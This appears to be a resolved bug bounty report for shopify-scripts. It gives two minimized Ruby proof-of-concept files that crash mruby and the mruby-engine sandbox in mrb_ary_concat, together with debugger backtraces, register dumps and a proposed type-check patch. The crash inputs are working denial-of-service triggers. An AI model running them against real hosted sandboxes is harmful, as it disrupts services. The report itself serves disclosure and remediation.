Loading HuntDB...

Denial of service due to invalid memory access in mrb_ary_concat

High
S
shopify-scripts
Submitted None
Reported by haquaman

Vulnerability Details

Technical details and impact analysis

Uncontrolled Resource Consumption
Hi, The following file causes a segmentation fault in mruby, which also causes a segmentation fault in mruby-engine. I've minimized this file down to the bare bones what crashes it, then renamed variables and tidied so you can see what is needed and what isn't. ``` case "" when 0 end x *case when true * = 0 end ``` Also this file causes the same issue: ``` case "" when 0 end x = *case when 0 * = 0 end ``` Difference between the two is one is a method call, and one is assignment. ``` $ ./dev/bin/mruby --version mruby 1.2.0 (2015-11-17) ``` ``` $ ./dev/bin/mruby crash-1.rb crash-1.rb:4:3: '*' interpreted as argument prefix Segmentation fault: 11 ``` ``` $ lldb ./dev/bin/mruby crash-1.rb (lldb) target create "./dev/bin/mruby" Current executable set to './dev/bin/mruby' (x86_64). (lldb) settings set -- target.run-args "crash-1.rb" (lldb) r Process 54552 launched: './dev/bin/mruby' (x86_64) crash-1.rb:4:3: '*' interpreted as argument prefix Process 54552 stopped * thread #1: tid = 0x652cabc, 0x0000000100001837 mruby`ary_modify + 55, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x4800000019) frame #0: 0x0000000100001837 mruby`ary_modify + 55 mruby`ary_modify: -> 0x100001837 <+55>: cmpl $0x1, (%rax) 0x10000183a <+58>: jne 0x100001889 ; <+137> 0x100001840 <+64>: movq -0x10(%rbp), %rax 0x100001844 <+68>: movq 0x28(%rax), %rax (lldb) bt * thread #1: tid = 0x652cabc, 0x0000000100001837 mruby`ary_modify + 55, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x4800000019) * frame #0: 0x0000000100001837 mruby`ary_modify + 55 frame #1: 0x0000000100001ca1 mruby`ary_concat + 49 frame #2: 0x0000000100001c66 mruby`mrb_ary_concat + 70 frame #3: 0x000000010004263f mruby`mrb_vm_exec + 25439 frame #4: 0x000000010003c2c7 mruby`mrb_vm_run + 135 frame #5: 0x00000001000446b4 mruby`mrb_top_run + 100 frame #6: 0x000000010006f19f mruby`load_exec + 1183 frame #7: 0x000000010006ece3 mruby`mrb_load_file_cxt + 67 frame #8: 0x0000000100000d78 mruby`main + 904 frame #9: 0x00007fff8a9db5ad libdyld.dylib`start + 1 frame #10: 0x00007fff8a9db5ad libdyld.dylib`start + 1 (lldb) register read General Purpose Registers: rax = 0x0000004800000019 rbx = 0x0000000000000000 rcx = 0x0000000000200086 rdx = 0x0000000100000000 mruby`_mh_execute_header rdi = 0x00000001002029f0 rsi = 0x0000000100000000 mruby`_mh_execute_header rbp = 0x00007fff5fbfc9d0 rsp = 0x00007fff5fbfc9a0 r8 = 0x0000000000000001 r9 = 0x0000000000000000 r10 = 0x0000000000000001 r11 = 0x0000000100200000 r12 = 0x0000000000000000 r13 = 0x0000000000000000 r14 = 0x0000000000000000 r15 = 0x0000000000000000 rip = 0x0000000100001837 mruby`ary_modify + 55 rflags = 0x0000000000010206 cs = 0x000000000000002b fs = 0x0000000000000000 gs = 0x0000000000000000 (lldb) q Quitting LLDB will kill one or more processes. Do you really want to proceed: [Y/n] y ``` and the second file: ``` $ ./dev/bin/mruby crash-2.rb Segmentation fault: 11 ``` ``` $ lldb ./dev/bin/mruby crash-2.rb (lldb) target create "./dev/bin/mruby" Current executable set to './dev/bin/mruby' (x86_64). (lldb) settings set -- target.run-args "crash-2.rb" (lldb) r Process 66755 launched: './dev/bin/mruby' (x86_64) Process 66755 stopped * thread #1: tid = 0x652fc10, 0x0000000100001837 mruby`ary_modify + 55, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x4800000019) frame #0: 0x0000000100001837 mruby`ary_modify + 55 mruby`ary_modify: -> 0x100001837 <+55>: cmpl $0x1, (%rax) 0x10000183a <+58>: jne 0x100001889 ; <+137> 0x100001840 <+64>: movq -0x10(%rbp), %rax 0x100001844 <+68>: movq 0x28(%rax), %rax (lldb) bt * thread #1: tid = 0x652fc10, 0x0000000100001837 mruby`ary_modify + 55, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x4800000019) * frame #0: 0x0000000100001837 mruby`ary_modify + 55 frame #1: 0x0000000100001ca1 mruby`ary_concat + 49 frame #2: 0x0000000100001c66 mruby`mrb_ary_concat + 70 frame #3: 0x000000010004263f mruby`mrb_vm_exec + 25439 frame #4: 0x000000010003c2c7 mruby`mrb_vm_run + 135 frame #5: 0x00000001000446b4 mruby`mrb_top_run + 100 frame #6: 0x000000010006f19f mruby`load_exec + 1183 frame #7: 0x000000010006ece3 mruby`mrb_load_file_cxt + 67 frame #8: 0x0000000100000d78 mruby`main + 904 frame #9: 0x00007fff8a9db5ad libdyld.dylib`start + 1 frame #10: 0x00007fff8a9db5ad libdyld.dylib`start + 1 (lldb) register read General Purpose Registers: rax = 0x0000004800000019 rbx = 0x0000000000000000 rcx = 0x0000000000200086 rdx = 0x0000000100000000 mruby`_mh_execute_header rdi = 0x00000001002029f0 rsi = 0x0000000100000000 mruby`_mh_execute_header rbp = 0x00007fff5fbfc9d0 rsp = 0x00007fff5fbfc9a0 r8 = 0x0000000000000001 r9 = 0x0000000000000000 r10 = 0x0000000000000001 r11 = 0x0000000100700000 r12 = 0x0000000000000000 r13 = 0x0000000000000000 r14 = 0x0000000000000000 r15 = 0x0000000000000000 rip = 0x0000000100001837 mruby`ary_modify + 55 rflags = 0x0000000000010206 cs = 0x000000000000002b fs = 0x0000000000000000 gs = 0x0000000000000000 (lldb) q Quitting LLDB will kill one or more processes. Do you really want to proceed: [Y/n] y ``` I took a look at the cause in the codegeneration, ... and gave up. But in the `src/array.c` I could fix these two issues with one patch, as follows: ``` diff --git a/src/array.c b/src/array.c index 5a319d8..4814968 100644 --- a/src/array.c +++ b/src/array.c @@ -259,6 +259,15 @@ ary_concat(mrb_state *mrb, struct RArray *a, mrb_value *ptr, mrb_int blen) MRB_API void mrb_ary_concat(mrb_state *mrb, mrb_value self, mrb_value other) { + if (!mrb_array_p(self)) { + mrb_raisef(mrb, E_TYPE_ERROR, "expecting Array, got %S", mrb_obj_value(mrb_obj_class(mrb, self))); + return; + } + if (!mrb_array_p(other)) { + mrb_raisef(mrb, E_TYPE_ERROR, "expecting Array, got %S", mrb_obj_value(mrb_obj_class(mrb, other))); + return; + } + struct RArray *a2 = mrb_ary_ptr(other); ary_concat(mrb, mrb_ary_ptr(self), a2->ptr, a2->len); ``` As mentioned above, both these files affect mruby-engine as well: ``` ./bin/sandbox:20: [BUG] Segmentation fault at 0x00000000000019 ruby 2.3.0p0 (2015-12-25 revision 53290) [x86_64-darwin15] -- Crash Report log information -------------------------------------------- See Crash Report log file under the one of following: * ~/Library/Logs/CrashReporter * /Library/Logs/CrashReporter * ~/Library/Logs/DiagnosticReports * /Library/Logs/DiagnosticReports for more details. Don't forget to include the above Crash Report log file in bug reports. -- Control frame information ----------------------------------------------- c:0003 p:---- s:0010 e:000009 CFUNC :sandbox_eval c:0002 p:0201 s:0005 E:0006b8 EVAL ./bin/sandbox:20 [FINISH] c:0001 p:0000 s:0002 E:002310 (none) [FINISH] -- Ruby level backtrace information ---------------------------------------- ./bin/sandbox:20:in `<main>' ./bin/sandbox:20:in `sandbox_eval' -- Machine register context ------------------------------------------------ rax: 0x000000011061c3f0 rbx: 0x0000000110674668 rcx: 0x0000000000000004 rdx: 0x000000011061c3f0 rdi: 0x0000000110614440 rsi: 0x0000000000000001 rbp: 0x00007fff50037f40 rsp: 0x00007fff50037f10 r8: 0x0000000000000003 r9: 0x0000000000000000 r10: 0x0000000000000000 r11: 0x00000001106145a8 r12: 0x00000001106145a8 r13: 0x000000011063b2f0 r14: 0x0000000000000001 r15: 0x0000000000000001 rip: 0x00000001104f233d rfl: 0x0000000000010246 -- C level backtrace information ------------------------------------------- 0 ruby 0x000000010fd645d4 rb_vm_bugreport + 388 1 ruby 0x000000010fc06023 rb_bug_context + 483 2 ruby 0x000000010fcd9653 sigsegv + 83 3 libsystem_platform.dylib 0x00007fff9826d52a _sigtramp + 26 4 mruby_engine.bundle 0x00000001104f233d mrb_ary_concat + 29 5 ??? 0x0000000110614440 0x0 + 4569777216 -- Other runtime information ----------------------------------------------- * Loaded script: ./bin/sandbox * Loaded features: 0 enumerator.so 1 thread.rb 2 rational.so 3 complex.so <snip various gems> 185 /Users/<snip>/mruby-engine/lib/mruby_engine/mruby_engine.bundle 186 /Users/<snip>/mruby-engine/lib/mruby_engine.rb [NOTE] You may have encountered a bug in the Ruby interpreter or extension libraries. Bug reports are welcome. For details: http://www.ruby-lang.org/bugreport.html ``` The second file produced same backtrace, but different register values. After applying that patch to `ext/mruby_engine/mruby` and recompiling, these two files no longer crash. If you end up finding a better patch elsewhere for the root cause, can you let me know what you end up applying so I can change what I fuzz against? Cheers, Hugh

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$8000.00

Submitted

Weakness

Uncontrolled Resource Consumption